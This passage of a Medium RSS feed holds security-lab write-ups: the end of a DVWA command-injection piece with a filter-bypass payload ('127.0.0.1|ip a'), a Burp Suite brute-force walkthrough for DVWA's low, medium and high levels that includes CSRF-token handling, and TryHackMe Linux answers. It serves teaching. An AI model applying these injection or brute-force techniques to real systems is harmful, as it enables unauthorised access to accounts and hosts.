src="https://cdn-images-1.medium.com/max/1024/1*7XrOB1J8xYcKUEV4PUuWEw.png" /></figure><h3>Bypass</h3><p>In the provided source code, there’s a notable space after the pipe [| ] character. If the input in the ‘ip’ parameter is | ipconfig (with the space), it will replace it with a space. However, we can bypass this by using the payload |ipconfig (without the space), which won’t be blocked. Therefore, our final payload will look like 127.0.0.1|ip a.</p><p>Upon employing this payload instead of the previous one, we confirmed that our injected payload was successfully executed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*WHAk4h4LZg6qCw-8TXQQHQ.png" /></figure><p>We’ve effectively exploited the Command Injection vulnerability within the DVWA web application across low, medium, and high-security levels.</p><p>Thank you for engaging with this article on Command Injection. I hope it has offered you new insights or helped enhance your understanding of Command Injection techniques.</p><h3>References</h3><p><a href="https://owasp.org/www-community/attacks/Command_Injection">Command_Injection</a></p><p><a href="https://owasp.org/www-community/attacks/Code_Injection">Code_Injection</a></p><p><a href="https://portswigger.net/web-security/os-command-injection">os-command-injection</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc86452e3450" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Brute Force | Dvwa Series | Low| Medium | High | All in One |]]></title>
            <link>https://medium.com/@timsinabishal232/brute-force-83f8ae218eb1?source=rss-df2bbf6c0bc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/83f8ae218eb1</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[dvwa]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[brute-force]]></category>
            <category><![CDATA[it]]></category>
            <dc:creator><![CDATA[Apocalypse]]></dc:creator>
            <pubDate>Wed, 13 Dec 2023 07:16:48 GMT</pubDate>
            <atom:updated>2023-12-13T08:18:17.094Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cMhC09VYCLV3D4xJ.jpg" /></figure><p>Brute force is a straightforward attack method where a malicious actor tries all possible combinations of a password or encryption key until finding the correct one. While it’s a simple and direct approach, it can be time-consuming and resource-intensive, depending on the complexity and length of the password or encryption.</p><p>The vulnerability of brute force lies in its reliance on computing power and time. If the password or encryption key is weak or short, brute force attacks can succeed relatively quickly. Longer, more complex passwords or encryption keys exponentially increase the time required to crack them using brute force.</p><p>Several techniques help mitigate brute force attacks:</p><p>1. Complexity Requirements: Encouraging strong, lengthy passwords with a mix of characters, symbols, and numbers significantly raises the time needed to crack them.</p><p>2. Account Lockout Policies: After a certain number of failed attempts, systems can lock accounts temporarily or permanently, making brute force attacks impractical.</p><p>3. Rate Limiting: Limiting the number of login attempts within a specific time frame reduces the effectiveness of brute force attacks.</p><p>4. Two-Factor Authentication (2FA): Adding an extra layer of security through 2FA makes it significantly harder for attackers to gain access, even if they crack the password.</p><p>5. Monitoring and Detection: Constantly monitoring login attempts for suspicious patterns helps in detecting and preventing brute force attacks in real-time.</p><p>The vulnerability of brute force lies in its reliance on computational power and time. As technology advances, faster computers and more sophisticated algorithms can decrease the time required for a successful brute force attack, making it crucial to implement robust security measures to protect against such threats.</p><h3><strong>LOW Security</strong></h3><p>first start the dvwa with a command docker start dvwa and Inside DVWA, I selected the Brute Force option, which takes me to a Login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*2m3YgWeXXhmioMkLzqIlwA.png" /></figure><p>I entered <strong>admin</strong> for the username and <strong>test </strong>for the password, which is the wrong username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*F90dJIqMXUMw-oOi7hdeLA.png" /></figure><p>I intercepted using Burp Suite.</p><blockquote>To elaborate, using Burp Suite implies that I intercepted or captured network traffic for analysis and potential manipulation. Burp Suite is a popular tool used for security testing and debugging of web applications. Interception allows a user to monitor and modify the requests and responses between a web browser and the targeted application, enabling various security checks and alterations before they reach their destination.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*N3vND1NsZHFrLD6i8V_PmQ.png" /></figure><p>In the Burp Suite tool, <strong>Right-click </strong>inside the <strong>Raw</strong> data area → <strong>Send to Intruder</strong>.</p><p>The Intruder tool within Burp Suite automates the process of testing web applications for vulnerabilities by sending numerous requests containing different payloads. It’s specifically built to detect potential weaknesses like input validation issues such as SQL injection, cross-site scripting (XSS), buffer overflows, and directory traversal attacks. Essentially, it systematically probes the application with varied inputs to uncover possible security flaws.</p><p>Then I cleared all the payload markers, highlighted <strong>test </strong>after password → Selected <strong>Add</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*HNGvUD7xhju6W-zVLKI_8g.png" /></figure><p>I clicked on the <strong>Payloads</strong> tab to configure and add a list of strings used as payloads.</p><p>For the first <strong>Payload set</strong>, I typed a list of may words for the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*nRwlTEkKPEbYKGgDhbJEHg.png" /></figure><p>Selected <strong>Load</strong>.</p><p>The list of passwords inside the password.txt file is set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*QZ60n3w3qycQc_oD3KsyZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*aZgObBSgC6u8Bqx2KgpWDw.png" /></figure><p>Everything is ready to go for the Brute Force attack!</p><p>Clicked <strong>Start attack</strong>!</p><p>Burp Suite is performing a Brute Force attack on DVAW</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*EVJYhpOHwtgxa-ac6d_noQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*YSC6danASAWDc-vnmx_-vg.png" /></figure><p>Payload 1 = Password: <strong>password</strong></p><p>It worked! The Brute Force attack was successful.</p><h3>Medium Security</h3><p>Increasing security to the Medium level involves introducing a 2-second delay after failed login attempts, but this delay doesn’t effectively deter or sufficiently protect against brute force attacks. Instead, it simply prolongs the time required to execute the attack, slowing down the overall process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*ycRYvZR_lUeCnA08-yslOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*hFEIKdtc2vS7shL5ZGbK4g.png" /></figure><p>I entered <strong>test</strong> for the username and <strong>test </strong>for the password, which is the wrong username and password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*pkSXiVZW36ie02Xwey2cVg.png" /></figure><p>As you can see, the username and password, <strong>test</strong>&amp; <strong>test</strong>, I initially tried to log in with appears in line 1.</p><p>Then, <strong>Right-click </strong>inside the <strong>Raw</strong> data area/ <strong>Ctr + i </strong>→ <strong>Send to Intruder</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*YSF6iblxbI7op8T07paooQ.png" /></figure><p>Here we can <strong>Choose an attack type, Add</strong> or <strong>Clear</strong> payload markers, and <strong>Start attack</strong>.</p><p>I deleted all the green-highlighted payload markers, resulting in the clearance of all payload markers. Following this, I selected “<strong>Add</strong>” after highlighting “<strong>test</strong>” following both the username and password fields.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/951/1*77LjCRmvbEga4lNhpkdCmw.png" /></figure><p>Then, I proceeded to choose the “<strong>Cluster bomb</strong>” attack type.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*H5_srtK-ZvCKleq1xrDC5Q.png" /></figure><p>I navigated to the Payloads tab to set up and input a series of strings to be used as payloads. Initially, I entered a list of words for the username in the first Payload set. Then, I clicked the drop-down arrow in the Payload set and chose 2 for the second set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*p2bkpeUP83ndOxDdwZCJEg.png" /></figure><p>Following this, I clicked on “Load” and selected the file, which contains a collection of common passwords I previously compiled. With the password list now set up, everything is prepared for the Brute Force attack!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*dZcK3MOj_j8W-XBzAla0FA.png" /></figure><p>The Brute Force attack on DVAW has been initiated by clicking “Start attack” in Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*s3ATtzdu8MxYyT7fhyh_eQ.png" /></figure><p>Once the attack completes, data analysis can be done by examining the Length. Any variation in Length compared to the others signifies the correct username and password combination.</p><p>For Payload 1:<br>- Username: admin</p><p>For Payload 2:<br>- Password: password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*eFyc3Asvcgift2mtNJNDSw.png" /></figure><p>The Brute Force attack was successful.</p><h3><strong>High Security</strong></h3><p>I entered “admin” as the username and “test” as the password, which are incorrect credentials, and intercepted the request in Burp Suite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NyVUt6Cy6LVcWFgdhZO4kg.png" /></figure><p>Then, I forwarded it to intruder and cleared all the highlighted green payload markers, effectively clearing all payload markers. Then, I proceeded to highlight “<strong><em>test</em></strong>” and <strong><em>user_token</em></strong>, selecting “<strong>Add</strong>” for both.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*1GUBvNHFAbNzojxF42mm-Q.png" /></figure><p>Finally, I chose the “<strong><em>Pitchfork</em></strong>” attack type.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*vwjv19gnNaV_5uazqHLfjA.png" /></figure><p>I navigated to the Payloads tab to set up and include a series of strings as payloads.</p><p>In the initial Payload set, I opted for the password.txt file, which contains a compilation of common passwords I assembled. Then, in the Payload set dropdown, I chose ‘2’ for the second Payload set, specifying the payload type as ‘recursive grep’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*m3MRk9eWyVwacSHyFAjzSg.png" /></figure><p>At the resource pool navigation, I set the maximum concurrent requests to 1. Afterward, I proceeded to access the settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*hndOBUQmV5WVN40dyzCZlw.png" /></figure><p>In the settings, I cleared the “grep-match” option and added “Welcome to” as the designated expression used to flag result items containing that specified text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*hKiD_kGXf29Yj6ZHPlYlMg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*te-RxL3QRZB25XC-nZOk6g.png" /></figure><p>Scrolling down, I added a new grep extraction. Then, I clicked on the “Fetch Response” button and selected the “value token” from the source code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*IssCXngNTegK_vqtBpLMzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*JDTIBbZiqxYeg3QA5e8Bbg.png" /></figure><p>Continuing to scroll down, I navigated to “Redirections” and chose the “Always” option.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*s-LIQm5M0Nql1jXF5vL3Dw.png" /></figure><p>Initiating the attack, I discovered that the password was “password,” and the attack was deemed successful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*vi0SyuaaQh7Z4Pf25-rrPQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83f8ae218eb1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TRYHACKME : Linux fundamental part-3]]></title>
            <link>https://medium.com/@timsinabishal232/tryhackme-linux-fundamental-part-3-c5545ace8a65?source=rss-df2bbf6c0bc4------2</link>
            <guid isPermaLink="false">https://medium.com/p/c5545ace8a65</guid>
            <dc:creator><![CDATA[Apocalypse]]></dc:creator>
            <pubDate>Sun, 08 Oct 2023 04:10:42 GMT</pubDate>
            <atom:updated>2023-10-08T04:10:42.413Z</atom:updated>
            <content:encoded><![CDATA[<h3>TRYHACKME : Linux fundamental part-3</h3><p>In this tutorial, we will explore Linux Fundamentals Part 3 on Tryhackme. This section will delve into topics such as terminal text editors, general utilities, Linux processes, and more. Without further ado, let’s begin.</p><h3>Task 1 — Introduction</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fsZ1WQrblrABOue8kQQOrQ.png" /></figure><h3>Task 2 — Deploy Your Linux Machine</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O9Q9-tGlzG_GNjEu_FrFEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*EAh-bkPAorvPyoE-z1sNug.png" /></figure><blockquote>$ssh tryhackme@YOUR_MACHINE_IP</blockquote><h3>Task 3 — Terminal Text Editors</h3><p><strong>Question 1 </strong>— Create a file using Nano</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*7Hhi0eXt2bg6w5YHs-ij7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*5mjljRjytbiuxNuGh58AOA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/361/1*9Ob0PDAg6OkRpBtOQcH8cQ.png" /></figure><p><strong>Question 2 — </strong>Edit “task3” located in “tryhackme”‘s home directory using Nano. What is the flag?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/421/1*Ton4Bx3mivkmyqzkRAxZhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*EvCHI323Hr6AimFQlCWPdg.png" /></figure><h3>Task 4 — General/Useful Utilities</h3><p><strong>Question 1 –</strong>Ensure you are connected to the deployed instance (10.10.1.43)</p><blockquote>Done</blockquote><p><strong>Question 2 </strong>— Now, use Python 3’s “HTTPServer” module to start a web server in the home directory of the “tryhackme” user on the deployed instance.</p><blockquote>Done</blockquote><p><strong>Question 3 — </strong>Download the file <a href="http://10.10.1.43:8000/.flag.txt">http://10.10.1.43:8000/.flag.txt</a> onto the TryHackMe AttackBox</p><p>What are the contents?</p><blockquote>run python server:</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*2nFTqgGm2zqXhNPjWiRBFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*3NVeYuaBtlWTsRY1MMQABQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*5Tu_hhdImczwNIi7x89aFg.png" /></figure><p><strong>Question 4 — </strong>Create and download files to further apply your learning — see how you can read the documentation on Python3’s “HTTPServer” module.</p><p>Use Ctrl + C to stop the Python3 HTTPServer module once you are finished.</p><blockquote>Done</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*9y3EAtRAezjKcd5kxQISlg.png" /></figure><h3>Task 5 — Processes 101</h3><p><strong>Question 1 — </strong>Read me!</p><blockquote>Done</blockquote><p><strong>Question 2 </strong>— If we were to launch a process where the previous ID was “300”, what would the ID of this new process be?</p><blockquote>301</blockquote><p><strong>Question 3 — </strong>If we wanted to <strong>cleanly</strong> kill a process, what signal would we send it?</p><blockquote>SIGTERM</blockquote><p><strong>Question 4 — </strong>Locate the process that is running on the deployed instance (10.10.195.122). What flag is given?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*GiEzl-MOFPukszOLc4Gabg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*txxXgmG5Lj78pbHZcwXYHA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_y-WFx4yUHdFucD7r16iTw.png" /></figure><h3>Task 6 — Maintaining Your System: Automation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FVqre4ou3ALPEtqNTLdfPA.png" /></figure><h3>Task 7 — Maintaining Your System: Package Management</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*O4YJkiC4Fcesk3B1lybuTw.png" /></figure><h3>Task 8 — Maintaining Your System: Logs</h3><p><strong>Question 1 — </strong>Look for the apache2 logs on the deployable Linux machine</p><blockquote>Done</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*L_yeO9-91vbCnnGsz-Wc5g.png" /></figure><p><strong>Question 2 </strong>— What is the IP address of the user who visited the site?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*WXhFO7m7qLiRKty8ROS4QQ.png" /></figure><p><strong>Question 3 — </strong>What file did they access?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*Sug31J3sBVKpwDnmJroeGg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/623/1*2lt7ygsScAoAmMxLUjbkGw.png" /></figure><h3>Task 9 — Conclusions &amp; Summaries</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*jPzwVR2l8zIGhDmy-a6H6A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YDS2ZnI-kLDtVLwMGcZrIQ.png" /></figure><blockquote>That concludes our exploration of “Linux Fundamentals Part 3.” We delved into various topics, including terminal text editors, general utilities, Linux processes, automation maintenance, package management, and more. We also practiced using terminal commands by solving several questions. This marks the conclusion of the three-part series on Tryhackme, and it was the final installment. With that, I bid you farewell for now, and we’ll meet again in the next adventure. But always remember, “Keep Hacking!”</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5545ace8a65" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>